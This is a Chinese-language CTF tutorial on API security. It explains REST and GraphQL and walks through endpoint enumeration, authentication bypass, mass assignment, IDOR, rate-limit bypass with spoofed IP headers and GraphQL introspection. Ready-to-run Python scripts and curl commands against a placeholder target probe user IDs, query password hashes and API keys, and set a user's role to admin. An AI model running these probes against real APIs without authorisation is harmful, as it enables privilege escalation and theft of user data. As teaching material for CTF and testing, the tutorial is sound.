API 安全基础
API 安全基础
本文适合
CTF Web安全 入门学习者。学完你能:理解 API 安全基础 的核心概念和基本用法
现代 Web 应用越来越多地使用 API 前后端分离。CTF 中的 API 题不仅测试传统 Web 漏洞,还涉及 API 特有的安全问题:端点枚举、认证绕过、批量赋权、IDOR、速率限制绕过等。
REST API 是什么
REST(Representational State Transfer)是一种 API 设计风格。核心特征:
- 用 URL 表示资源:
/api/users/123表示用户 123。 - 用 HTTP 方法表示操作:GET 读取、POST 创建、PUT 更新、DELETE 删除。
- 用状态码表示结果:200 成功、201 创建成功、401 未认证、403 无权限、404 不存在。
GET /api/users -> 获取用户列表
GET /api/users/123 -> 获取用户 123
POST /api/users -> 创建用户
PUT /api/users/123 -> 更新用户 123
DELETE /api/users/123 -> 删除用户 123GraphQL 是什么
GraphQL 是另一种 API 查询语言。客户端在一次请求中指定需要的数据结构。
query {
user(id: 123) {
username
email
role
}
}GraphQL 的安全特点:
- 端点通常只有一个(
/graphql),但查询内容复杂。 - 可以通过 introspection 查询获取完整 schema。
- 容易出现批量数据泄露(一次查询返回大量数据)。
- 嵌套查询可能导致 DoS。
API 认证方式
API Key:最简单,在 Header 或参数中传递。容易泄露、容易被重放。
Bearer Token:放在 Authorization: Bearer <token> 中。通常是 JWT 或 OAuth token。
OAuth 2.0:授权框架,涉及 access_token 和 refresh_token。
Session Cookie:传统 Web 方式,API 中较少见但存在。
API 常见漏洞
端点枚举
API 文档泄露或可预测的端点命名。
/api/v1/users
/api/v1/admin/users # 管理员端点
/api/v2/users # 新版本
/api/internal/users # 内部 API
/swagger.json # API 文档
/api-docs # API 文档
/openapi.json # OpenAPI 规范认证绕过
# 修改认证方式
GET /api/users HTTP/1.1
Authorization: Bearer null
# 删除认证头
GET /api/users HTTP/1.1
(无 Authorization 头)
# 修改 HTTP 方法
GET /api/users/123 -> 403
PUT /api/users/123 -> 200(某些实现只对 GET 做权限校验)Mass Assignment(批量赋权)
API 接受 JSON 请求体时,直接将所有字段映射到数据库对象。
PUT /api/users/123
{"username": "attacker", "role": "admin", "is_verified": true}
# 服务端如果直接将请求体赋值给 user 对象,role 和 is_verified 也会被修改IDOR(不安全的直接对象引用)
GET /api/users/123/orders -> 用户 123 的订单
GET /api/users/124/orders -> 用户 124 的订单(如果未校验权限)速率限制绕过
# 常见绕过方式
X-Forwarded-For: 1.2.3.4 # 伪造来源 IP
X-Real-IP: 1.2.3.4 # 伪造真实 IP
X-Originating-IP: 1.2.3.4 # 伪造原始 IP
X-Remote-IP: 1.2.3.4 # 伪造远程 IP
X-Client-IP: 1.2.3.4 # 伪造客户端 IP
# 切换 API 版本
/api/v1/login (被限流)
/api/v2/login (未限流)GraphQL 特有漏洞
# Introspection 查询获取 schema
{
__schema {
types {
name
fields {
name
type { name }
}
}
}
}
# 查询敏感字段
query {
users {
nodes {
id
email
passwordHash
apiKey
}
}
}代码示例:API 端点枚举
import requests
base_url = "http://target.com"
session = requests.Session()
session.headers.update({"Authorization": "Bearer your_token_here"})
# 常见 API 端点列表
endpoints = [
"/api/users",
"/api/admin",
"/api/admin/users",
"/api/config",
"/api/internal",
"/api/v1/users",
"/api/v2/users",
"/swagger.json",
"/openapi.json",
"/api-docs",
"/graphql",
"/graphiql",
"/.well-known/openapi",
]
for ep in endpoints:
r = session.get(f"{base_url}{ep}", timeout=5, allow_redirects=False)
if r.status_code != 404:
print(f"[{r.status_code}] {ep} - {r.text[:80]}")代码示例:使用 curl 和 httpie 测试 API
# curl: GET 请求
curl -s http://target.com/api/users/1 \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9..."
# curl: POST 创建资源
curl -s -X POST http://target.com/api/users \
-H "Content-Type: application/json" \
-H "Authorization: Bearer TOKEN" \
-d '{"username":"test","email":"test@test.com"}'
# curl: PUT 更新资源(测试 mass assignment)
curl -s -X PUT http://target.com/api/users/1 \
-H "Content-Type: application/json" \
-H "Authorization: Bearer TOKEN" \
-d '{"username":"test","role":"admin"}'
# curl: 测试不同 HTTP 方法
for method in GET POST PUT DELETE PATCH OPTIONS; do
echo "--- $method ---"
curl -s -o /dev/null -w "%{http_code}" -X $method http://target.com/api/users/1
echo
done
# httpie: 更简洁的语法
# GET
http GET target.com/api/users/1 Authorization:"Bearer TOKEN"
# POST with JSON
http POST target.com/api/users username=test email=test@test.com Authorization:"Bearer TOKEN"
# GraphQL introspection
http POST target.com/graphql query='{__schema{types{name fields{name}}}}'代码示例:GraphQL Introspection 与攻击
import requests
import json
target = "http://target.com/graphql"
headers = {"Content-Type": "application/json"}
# Step 1: Introspection 查询
introspection_query = """
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
types {
name
kind
fields {
name
type {
name
kind
ofType { name }
}
args {
name
type { name }
}
}
}
}
}
"""
r = requests.post(target, json={"query": introspection_query}, headers=headers)
schema = r.json()
# 解析所有类型和字段
if "data" in schema:
for t in schema["data"]["__schema"]["types"]:
if not t["name"].startswith("__"): # 跳过内建类型
fields = [f["name"] for f in (t.get("fields") or [])]
if fields:
print(f"类型: {t['name']} -> 字段: {', '.join(fields)}")
# Step 2: 查询敏感数据
sensitive_query = """
query {
users {
id
username
email
role
apiKey
password
passwordHash
}
}
"""
r2 = requests.post(target, json={"query": sensitive_query}, headers=headers)
print(f"敏感查询结果: {r2.text[:500]}")
# Step 3: 测试 mutation
mutation_query = """
mutation {
updateUser(id: 1, input: {role: "admin"}) {
id
role
}
}
"""
r3 = requests.post(target, json={"query": mutation_query}, headers=headers)
print(f"Mutation 结果: {r3.text[:300]}")代码示例:IDOR 批量探测
import requests
base_url = "http://target.com/api"
session = requests.Session()
session.headers.update({"Authorization": "Bearer your_token"})
# 遍历用户 ID,探测 IDOR
for user_id in range(1, 50):
r = session.get(f"{base_url}/users/{user_id}", timeout=5)
if r.status_code == 200:
data = r.json()
username = data.get("username", "N/A")
email = data.get("email", "N/A")
print(f"[+] ID={user_id}: {username} ({email})")
elif r.status_code == 403:
print(f"[-] ID={user_id}: 无权限")
# 不输出 404,减少噪音常见误区
- 只测试 GET,不测试 POST/PUT/DELETE。API 的权限校验可能只针对部分方法。
- 只看前端调用的端点。很多 API 端点前端不使用但后端存在。
- 忽略 API 文档泄露。
/swagger.json、/openapi.json是最常见的信息泄露源。 - 不测试 GraphQL 的 introspection。很多 GraphQL 端点默认开启 introspection。
- 只关注 API Key 忽略 JWT。JWT 的算法混淆、过期绕过等问题更常见。
- 不测试批量操作。API 通常支持批量操作,可能绕过单条记录的限制。
一句话判断
目标不是传统页面表单,而是 JSON、REST、GraphQL、Bearer Token、Swagger/OpenAPI、移动端接口或前后端分离接口时,就按 API 安全思路测试。
API 题的核心是:接口比页面多,参数比表单深,权限校验常常落在对象、字段、方法和版本层面。
题目中常见信号
- URL 中出现
/api/、/v1/、/graphql、/admin/api。 - 响应是 JSON,不是 HTML。
- Header 里有
Authorization: Bearer ...、X-API-Key。 - 前端 JS 里写着接口路径。
- 存在
/swagger.json、/openapi.json、/api-docs。 - 同一资源支持 GET、POST、PUT、PATCH、DELETE。
- JSON 中出现
role、isAdmin、userId、ownerId。 - GraphQL introspection 可用。
核心概念
API 安全要同时看四个边界:
端点边界:有哪些接口
身份边界:谁在请求
对象边界:请求的是谁的资源
字段边界:哪些字段允许客户端控制
方法边界:不同 HTTP 方法是否一致校验很多 API 漏洞不是单个 payload,而是“换身份、换对象、换方法、加字段”后后端仍然接受。
最小分析流程
- 从前端 JS、Network、Swagger/OpenAPI 收集端点。
- 保存一个正常 API 请求作为基线。
- 准备两个账号,最好一个普通用户、一个高权限用户。
- 测试 GET/POST/PUT/PATCH/DELETE 方法差异。
- 修改对象 ID,验证水平越权。
- 修改
role、isAdmin等字段,验证 mass assignment。 - 删除或替换 Authorization,验证认证边界。
- 测试 API 版本、内部路径、批量接口和 GraphQL 查询。
- 把成功接口写成可复现请求。
最小验证示例
端点枚举:
curl -i http://target/swagger.json
curl -i http://target/openapi.json
curl -i http://target/api-docsIDOR 验证:
curl -i http://target/api/users/1 \
-H 'Authorization: Bearer TOKEN_A'
curl -i http://target/api/users/2 \
-H 'Authorization: Bearer TOKEN_A'Mass assignment 验证:
curl -i -X PUT http://target/api/users/1 \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer TOKEN_A' \
--data '{"nickname":"test","role":"admin","isAdmin":true}'如果响应保留了 role=admin 或后续权限提升,就说明后端接受了不该由用户控制的字段。
常见利用 / 解题路线
路线总览:
路线一:接口文档泄露
swagger/openapi/api-docs -> 枚举隐藏接口 -> 访问 admin/internal/debug路线二:IDOR / 对象越权
换 userId/orderId/fileId -> 用当前 token 访问别人资源关联:访问控制与越权。
路线三:Mass Assignment
正常 JSON 增加 role/isAdmin/ownerId/balance -> 后端直接绑定模型路线四:方法绕过
GET 403,但 PUT/PATCH/DELETE 未校验路线五:GraphQL schema 泄露
introspection -> 找敏感字段/mutation -> 字段级越权关联:GraphQL安全。
常见失败原因
- 只看页面请求:前端没调用的接口也可能存在。
- 不准备两个账号:无法证明对象是否属于别人。
- 只测 GET:修改、删除、批量操作常在 PUT/PATCH/DELETE。
- 忽略 JSON 深层字段:
profile.role、user.isAdmin也可能被绑定。 - 把 401 和 403 混淆:401 是未认证,403 是认证后无权限。
- 只看响应码:有些接口返回 200 但 body 里提示失败,要检查实际状态。
- GraphQL 只测查询不测 mutation:写操作更容易出权限问题。
迷你案例
前端 JS 泄露接口:
PUT /api/users/{id}普通用户请求:
curl -i -X PUT http://target/api/users/1001 \
-H 'Authorization: Bearer USER_TOKEN' \
-H 'Content-Type: application/json' \
--data '{"nickname":"guest"}'响应正常。尝试增加字段:
curl -i -X PUT http://target/api/users/1001 \
-H 'Authorization: Bearer USER_TOKEN' \
-H 'Content-Type: application/json' \
--data '{"nickname":"guest","role":"admin"}'再访问:
curl -i http://target/api/admin/users \
-H 'Authorization: Bearer USER_TOKEN'如果返回管理员数据,漏洞链是:
API 直接绑定 JSON 到用户对象
role 字段未做 allowlist
普通用户可把自己改成 adminWP 要贴出修改前、修改请求、修改后权限验证三步。